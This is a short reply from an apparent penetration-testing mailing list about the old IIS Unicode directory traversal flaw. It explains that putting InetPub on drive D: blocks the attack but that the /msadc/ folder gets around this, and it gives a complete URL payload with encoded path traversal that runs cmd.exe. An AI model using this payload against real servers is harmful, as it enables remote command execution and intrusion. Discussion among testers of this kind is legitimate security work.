Re: [PEN-TEST] IIS UNICODE Strings

[Michael Owen <mowen () COSTCO COM>]

In our test, the InetPub directory is in logical drive D: instead of default
C:.
Does that matter in the above examples?
-------------------------------------


In our internal tests, it does, and the exploit won't work. BUT, if you use
the /msadc/ virtual folder, it won't matter, as msadc is in c:\program
files\Common\....


http://iisbox/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt
/system32/cmd.exe\?/c\+dir+c:\\temp






----------------------------------
Michael Owen
Costco Wholesale
Network Security
(425) 313-2957